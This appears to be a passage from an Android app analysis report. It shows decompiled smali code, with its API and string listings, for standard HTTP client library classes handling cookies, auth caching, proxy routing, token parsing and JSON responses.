        25invoke-virtual {p2}, Ljava/util/StringTokenizer;->countTokens()I
        26move-result p2
        28invoke-static {p1}, Lcz/msebera/android/httpclient/impl/cookie/NetscapeDomainHandler;->isSpecialDomain(Ljava/lang/String;)Z
        29move-result v0
        30if-eqz v0, :cond_49
        31const/4 v0, 0x2
        32if-lt p2, v0, :cond_28
        33goto/16 :goto_69
        34cond_28: new-instance p2, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        35new-instance v0, Ljava/lang/StringBuilder;
        37invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        39const-string v1, "Domain attribute \""
        41invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        43invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        45const-string p1, "\" violates the Netscape cookie specification for "
        47invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        49const-string p1, "special domains"
        51invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        53invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        54move-result-object p1
        56invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        57throw p2
        58cond_49: const/4 v0, 0x3
        59if-lt p2, v0, :cond_4d
        60goto/16 :goto_69
        61cond_4d: new-instance p2, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;
        62new-instance v0, Ljava/lang/StringBuilder;
        64invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        66const-string v1, "Domain attribute \""
        68invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        70invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        72const-string p1, "\" violates the Netscape cookie specification"
        74invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        76invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        77move-result-object p1
        79invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/CookieRestrictionViolationException;-><init>(Ljava/lang/String;)V
        80throw p2
        81goto_69: return-void
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.AuthProtocolState.ordinal
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.AuthProtocolState.ordinal
        Strings
        • HTTP request
        • HTTP context
        • http.auth.auth-cache
        • http.target_host
        • http.auth.target-scope
        • Target auth state:
        • http.scheme-registry
        • http.proxy_host
        • http.auth.proxy-scope
        • Proxy auth state:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7const-string v0, "HTTP request"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string p1, "HTTP context"
        13invoke-static {p2, p1}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15const-string p1, "http.auth.auth-cache"
        17invoke-interface {p2, p1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        18move-result-object p1
        19check-cast p1, Lcz/msebera/android/httpclient/client/AuthCache;
        21const-string v0, "http.target_host"
        23invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        24move-result-object v0
        25check-cast v0, Lcz/msebera/android/httpclient/HttpHost;
        27const-string v1, "http.auth.target-scope"
        29invoke-interface {p2, v1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        30move-result-object v1
        31check-cast v1, Lcz/msebera/android/httpclient/auth/AuthState;
        32if-eqz v0, :cond_a1
        33if-eqz v1, :cond_a1
        35iget-object v2, p0, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        37invoke-virtual {v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        38move-result v2
        39if-eqz v2, :cond_48
        41iget-object v2, p0, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        42new-instance v3, Ljava/lang/StringBuilder;
        44invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        46const-string v4, "Target auth state: "
        48invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        50invoke-virtual {v1}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        51move-result-object v4
        53invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        55invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        56move-result-object v3
        58invoke-virtual {v2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        59cond_48:
        60invoke-direct {p0, v1}, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache;->isCachable(Lcz/msebera/android/httpclient/auth/AuthState;)Z
        61move-result v2
        62if-eqz v2, :cond_a1
        64const-string v2, "http.scheme-registry"
        66invoke-interface {p2, v2}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        67move-result-object v2
        68check-cast v2, Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;
        70invoke-virtual {v0}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        71move-result v3
        72if-gez v3, :cond_76
        74invoke-virtual {v2, v0}, Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;->getScheme(Lcz/msebera/android/httpclient/HttpHost;)Lcz/msebera/android/httpclient/conn/scheme/Scheme;
        75move-result-object v2
        76new-instance v3, Lcz/msebera/android/httpclient/HttpHost;
        78invoke-virtual {v0}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        79move-result-object v4
        81invoke-virtual {v0}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        82move-result v5
        84invoke-virtual {v2, v5}, Lcz/msebera/android/httpclient/conn/scheme/Scheme;->resolvePort(I)I
        85move-result v2
        87invoke-virtual {v0}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        88move-result-object v0
        90invoke-direct {v3, v4, v2, v0}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;ILjava/lang/String;)V
        91move-object v0, v3
        92cond_76: if-nez p1, :cond_82
        93new-instance p1, Lcz/msebera/android/httpclient/impl/client/BasicAuthCache;
        95invoke-direct {p1}, Lcz/msebera/android/httpclient/impl/client/BasicAuthCache;-><init>()V
        97const-string v2, "http.auth.auth-cache"
        99invoke-interface {p2, v2, p1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        100cond_82:
        101sget-object v2, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache$1;->$SwitchMap$cz$msebera$android$httpclient$auth$AuthProtocolState:[I
        103invoke-virtual {v1}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        104move-result-object v3
        106invoke-virtual {v3}, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->ordinal()I
        107move-result v3
        108aget v2, v2, v3
        109packed-switch v2, :pswitch_data_10a
        110goto/16 :goto_a1
        111pswitch_92:
        112invoke-virtual {v1}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        113move-result-object v1
        115invoke-direct {p0, p1, v0, v1}, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache;->uncache(Lcz/msebera/android/httpclient/client/AuthCache;Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/auth/AuthScheme;)V
        116goto/16 :goto_a1
        117pswitch_9a:
        118invoke-virtual {v1}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        119move-result-object v1
        121invoke-direct {p0, p1, v0, v1}, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache;->cache(Lcz/msebera/android/httpclient/client/AuthCache;Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/auth/AuthScheme;)V
        122goto_a1:
        123const-string v0, "http.proxy_host"
        125invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        126move-result-object v0
        127check-cast v0, Lcz/msebera/android/httpclient/HttpHost;
        129const-string v1, "http.auth.proxy-scope"
        131invoke-interface {p2, v1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        132move-result-object v1
        133check-cast v1, Lcz/msebera/android/httpclient/auth/AuthState;
        134if-eqz v0, :cond_108
        135if-eqz v1, :cond_108
        137iget-object v2, p0, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        139invoke-virtual {v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        140move-result v2
        141if-eqz v2, :cond_d7
        143iget-object v2, p0, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        144new-instance v3, Ljava/lang/StringBuilder;
        146invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        148const-string v4, "Proxy auth state: "
        150invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        152invoke-virtual {v1}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        153move-result-object v4
        155invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        157invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        158move-result-object v3
        160invoke-virtual {v2, v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        161cond_d7:
        162invoke-direct {p0, v1}, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache;->isCachable(Lcz/msebera/android/httpclient/auth/AuthState;)Z
        163move-result v2
        164if-eqz v2, :cond_108
        165if-nez p1, :cond_e9
        166new-instance p1, Lcz/msebera/android/httpclient/impl/client/BasicAuthCache;
        168invoke-direct {p1}, Lcz/msebera/android/httpclient/impl/client/BasicAuthCache;-><init>()V
        170const-string v2, "http.auth.auth-cache"
        172invoke-interface {p2, v2, p1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        173cond_e9:
        174sget-object p2, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache$1;->$SwitchMap$cz$msebera$android$httpclient$auth$AuthProtocolState:[I
        176invoke-virtual {v1}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        177move-result-object v2
        179invoke-virtual {v2}, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->ordinal()I
        180move-result v2
        181aget p2, p2, v2
        182packed-switch p2, :pswitch_data_112
        183goto/16 :goto_108
        184pswitch_f9:
        185invoke-virtual {v1}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        186move-result-object p2
        188invoke-direct {p0, p1, v0, p2}, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache;->uncache(Lcz/msebera/android/httpclient/client/AuthCache;Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/auth/AuthScheme;)V
        189goto/16 :goto_108
        190pswitch_101:
        191invoke-virtual {v1}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        192move-result-object p2
        194invoke-direct {p0, p1, v0, p2}, Lcz/msebera/android/httpclient/client/protocol/ResponseAuthCache;->cache(Lcz/msebera/android/httpclient/client/AuthCache;Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/auth/AuthScheme;)V
        195goto_108: return-void
        196nop
        Cross References
        APIs
        • java.lang.String.trim
        • java.lang.String.startsWith
        • org.json.JSONTokener.<init>
        • org.json.JSONTokener.nextValue
        • java.lang.String.startsWith
        • java.lang.String.endsWith
        • java.lang.String.startsWith
        • java.lang.String.endsWith
        • org.json.JSONTokener.<init>
        • org.json.JSONTokener.nextValue
        • java.lang.String.startsWith
        • java.lang.String.endsWith
        • java.lang.String.length
        • java.lang.String.substring
        Strings
        • {
        • [
        • }
        • ]
        • \"
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lorg/json/JSONException;
        3}
        4.end annotation
        5const/4 v0, 0x0
        6if-nez p1, :cond_4
        7return-object v0
        8cond_4:
        9invoke-virtual {p0}, Lcom/loopj/android/http/JsonHttpResponseHandler;->getCharset()Ljava/lang/String;
        10move-result-object v1
        12invoke-static {p1, v1}, Lcom/loopj/android/http/JsonHttpResponseHandler;->getResponseString([BLjava/lang/String;)Ljava/lang/String;
        13move-result-object p1
        14if-eqz p1, :cond_74
        16invoke-virtual {p1}, Ljava/lang/String;->trim()Ljava/lang/String;
        17move-result-object p1
        18iget-boolean v1, p0, Lcom/loopj/android/http/JsonHttpResponseHandler;->useRFC5179CompatibilityMode:Z
        19if-eqz v1, :cond_30
        21const-string v1, "{"
        23invoke-virtual {p1, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        24move-result v1
        25if-nez v1, :cond_26
        27const-string v1, "["
        29invoke-virtual {p1, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        30move-result v1
        31if-eqz v1, :cond_74
        32cond_26: new-instance v0, Lorg/json/JSONTokener;
        34invoke-direct {v0, p1}, Lorg/json/JSONTokener;-><init>(Ljava/lang/String;)V
        36invoke-virtual {v0}, Lorg/json/JSONTokener;->nextValue()Ljava/lang/Object;
        37move-result-object v0
        38goto/16 :goto_74
        39cond_30:
        40const-string v1, "{"
        42invoke-virtual {p1, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        43move-result v1
        44if-eqz v1, :cond_40
        46const-string v1, "}"
        48invoke-virtual {p1, v1}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        49move-result v1
        50if-nez v1, :cond_50
        51cond_40:
        52const-string v1, "["
        54invoke-virtual {p1, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        55move-result v1
        56if-eqz v1, :cond_5a
        58const-string v1, "]"
        60invoke-virtual {p1, v1}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        61move-result v1
        62if-eqz v1, :cond_5a
        63cond_50: new-instance v0, Lorg/json/JSONTokener;
        65invoke-direct {v0, p1}, Lorg/json/JSONTokener;-><init>(Ljava/lang/String;)V
        67invoke-virtual {v0}, Lorg/json/JSONTokener;->nextValue()Ljava/lang/Object;
        68move-result-object v0
        69goto/16 :goto_74
        70cond_5a:
        71const-string v1, "\""
        73invoke-virtual {p1, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        74move-result v1
        75if-eqz v1, :cond_74
        77const-string v1, "\""
        79invoke-virtual {p1, v1}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        80move-result v1
        81if-eqz v1, :cond_74
        83invoke-virtual {p1}, Ljava/lang/String;->length()I
        84move-result v0
        85const/4 v1, 0x1
        86sub-int/2addr v0, v1
        88invoke-virtual {p1, v1, v0}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        89move-result-object v0
        90goto_74: if-nez v0, :cond_77
        91goto/16 :goto_78
        92cond_77: move-object p1, v0
        93goto_78: return-object p1
        Cross References
        APIs
        • java.net.ProxySelector.getDefault
        • java.net.URI.<init>
        • java.net.ProxySelector.select
        • java.net.Proxy.type
        • java.net.Proxy.address
        • java.net.InetSocketAddress.getPort
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.net.Proxy.address
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.HttpException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.HttpException.<init>
        Strings
        • Unable to handle non-Inet proxy address:
        • Cannot convert host to URI:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;
        3}
        4.end annotation
        6iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/ProxySelectorRoutePlanner;->proxySelector:Ljava/net/ProxySelector;
        7if-nez v0, :cond_8
        9invoke-static {}, Ljava/net/ProxySelector;->getDefault()Ljava/net/ProxySelector;
        10move-result-object v0
        11cond_8: const/4 v1, 0x0
        12if-nez v0, :cond_c
        13return-object v1
        14cond_c: new-instance v2, Ljava/net/URI;
        16invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->toURI()Ljava/lang/String;
        17move-result-object v3
        19invoke-direct {v2, v3}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
        20try_end_15:
        21invoke-virtual {v0, v2}, Ljava/net/ProxySelector;->select(Ljava/net/URI;)Ljava/util/List;
        22move-result-object v0
        24invoke-virtual {p0, v0, p1, p2, p3}, Lcz/msebera/android/httpclient/impl/conn/ProxySelectorRoutePlanner;->chooseProxy(Ljava/util/List;Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/net/Proxy;
        25move-result-object p1
        27invoke-virtual {p1}, Ljava/net/Proxy;->type()Ljava/net/Proxy$Type;
        28move-result-object p2
        30sget-object p3, Ljava/net/Proxy$Type;->HTTP:Ljava/net/Proxy$Type;
        31if-ne p2, p3, :cond_5c
        33invoke-virtual {p1}, Ljava/net/Proxy;->address()Ljava/net/SocketAddress;
        34move-result-object p2
        35instance-of p2, p2, Ljava/net/InetSocketAddress;
        36if-eqz p2, :cond_41
        38invoke-virtual {p1}, Ljava/net/Proxy;->address()Ljava/net/SocketAddress;
        39move-result-object p1
        40check-cast p1, Ljava/net/InetSocketAddress;
        41new-instance v1, Lcz/msebera/android/httpclient/HttpHost;
        43invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/impl/conn/ProxySelectorRoutePlanner;->getHost(Ljava/net/InetSocketAddress;)Ljava/lang/String;
        44move-result-object p2
        46invoke-virtual {p1}, Ljava/net/InetSocketAddress;->getPort()I
        47move-result p1
        49invoke-direct {v1, p2, p1}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;I)V
        50goto/16 :goto_5c
        51cond_41: new-instance p2, Lcz/msebera/android/httpclient/HttpException;
        52new-instance p3, Ljava/lang/StringBuilder;
        54invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        56const-string v0, "Unable to handle non-Inet proxy address: "
        58invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        60invoke-virtual {p1}, Ljava/net/Proxy;->address()Ljava/net/SocketAddress;
        61move-result-object p1
        63invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        65invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        66move-result-object p1
        68invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;)V
        69throw p2
        70goto_5c: return-object v1
        71catch_5d: move-exception p2
        72new-instance p3, Lcz/msebera/android/httpclient/HttpException;
        73new-instance v0, Ljava/lang/StringBuilder;
        75invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        77const-string v1, "Cannot convert host to URI: "
        79invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        83invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        84move-result-object p1
        86invoke-direct {p3, p1, p2}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        87throw p3
        Cross References
        APIs
        • java.lang.String.length
        • java.lang.String.charAt
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        Strings
        • Search position
        • Tokens without separator (pos
        • ):
        • Invalid character after token (pos
        Position Instruction Meta Information
        1const-string v0, "Search position"
        3invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNegative(ILjava/lang/String;)I
        4move-result p1
        6iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        8invoke-virtual {v0}, Ljava/lang/String;->length()I
        9move-result v0
        10const/4 v1, 0x0
        11goto_d: if-nez v1, :cond_70
        12if-ge p1, v0, :cond_70
        14iget-object v2, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        16invoke-virtual {v2, p1}, Ljava/lang/String;->charAt(I)C
        17move-result v2
        19invoke-virtual {p0, v2}, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->isTokenSeparator(C)Z
        20move-result v3
        21if-eqz v3, :cond_1f
        22const/4 v1, 0x1
        23goto/16 :goto_d
        24cond_1f:
        25invoke-virtual {p0, v2}, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->isWhitespace(C)Z
        26move-result v3
        27if-eqz v3, :cond_28
        28add-int/lit8 p1, p1, 0x1
        29goto/16 :goto_d
        30cond_28:
        31invoke-virtual {p0, v2}, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->isTokenChar(C)Z
        32move-result v0
        33if-eqz v0, :cond_4f
        34new-instance v0, Lcz/msebera/android/httpclient/ParseException;
        35new-instance v1, Ljava/lang/StringBuilder;
        37invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        39const-string v2, "Tokens without separator (pos "
        41invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        43invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        45const-string p1, "): "
        47invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        49iget-object p1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        51invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        53invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        54move-result-object p1
        56invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        57throw v0
        58cond_4f: new-instance v0, Lcz/msebera/android/httpclient/ParseException;
        59new-instance v1, Ljava/lang/StringBuilder;
        61invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        63const-string v2, "Invalid character after token (pos "
        65invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        67invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        69const-string p1, "): "
        71invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        73iget-object p1, p0, Lcz/msebera/android/httpclient/message/BasicTokenIterator;->currentHeader:Ljava/lang/String;
        75invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        77invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        78move-result-object p1
        80invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        81throw v0
        82cond_70: return p1
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Date.<init>
        • java.util.concurrent.ConcurrentHashMap.put
        • java.util.concurrent.ConcurrentHashMap.remove
        • android.content.SharedPreferences.edit
        • java.util.concurrent.ConcurrentHashMap.keySet
        • android.text.TextUtils.join
        • android.content.SharedPreferences$Editor.putString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • android.content.SharedPreferences$Editor.putString
        • android.content.SharedPreferences$Editor.commit
        Strings
        • names
        • ,
        • cookie_
        Position Instruction Meta Information
        0iget-boolean v0, p0, Lcom/loopj/android/http/PersistentCookieStore;->omitNonPersistentCookies:Z
        1if-eqz v0, :cond_b
        3invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->isPersistent()Z
        4move-result v0
        5if-nez v0, :cond_b
        6return-void
        7cond_b: new-instance v0, Ljava/lang/StringBuilder;
        9invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        11invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getName()Ljava/lang/String;
        12move-result-object v1
        14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        16invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        17move-result-object v1
        19invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        21invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        22move-result-object v0
        23new-instance v1, Ljava/util/Date;
        25invoke-direct {v1}, Ljava/util/Date;-><init>()V
        27invoke-interface {p1, v1}, Lcz/msebera/android/httpclient/cookie/Cookie;->isExpired(Ljava/util/Date;)Z
        28move-result v1
        29if-nez v1, :cond_33
        31iget-object v1, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookies:Ljava/util/concurrent/ConcurrentHashMap;
        33invoke-virtual {v1, v0, p1}, Ljava/util/concurrent/ConcurrentHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        34goto/16 :goto_38
        35cond_33:
        36iget-object v1, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookies:Ljava/util/concurrent/ConcurrentHashMap;
        38invoke-virtual {v1, v0}, Ljava/util/concurrent/ConcurrentHashMap;->remove(Ljava/lang/Object;)Ljava/lang/Object;
        39goto_38:
        40iget-object v1, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookiePrefs:Landroid/content/SharedPreferences;
        42invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
        43move-result-object v1
        45const-string v2, "names"
        47const-string v3, ","
        49iget-object v4, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookies:Ljava/util/concurrent/ConcurrentHashMap;
        51invoke-virtual {v4}, Ljava/util/concurrent/ConcurrentHashMap;->keySet()Ljava/util/Set;
        52move-result-object v4
        54invoke-static {v3, v4}, Landroid/text/TextUtils;->join(Ljava/lang/CharSequence;Ljava/lang/Iterable;)Ljava/lang/String;
        55move-result-object v3
        57invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
        58new-instance v2, Ljava/lang/StringBuilder;
        60invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        62const-string v3, "cookie_"
        64invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        66invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        68invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        69move-result-object v0
        70new-instance v2, Lcom/loopj/android/http/SerializableCookie;
        72invoke-direct {v2, p1}, Lcom/loopj/android/http/SerializableCookie;-><init>(Lcz/msebera/android/httpclient/cookie/Cookie;)V
        74invoke-virtual {p0, v2}, Lcom/loopj/android/http/PersistentCookieStore;->encodeCookie(Lcom/loopj/android/http/SerializableCookie;)Ljava/lang/String;
        75move-result-object p1
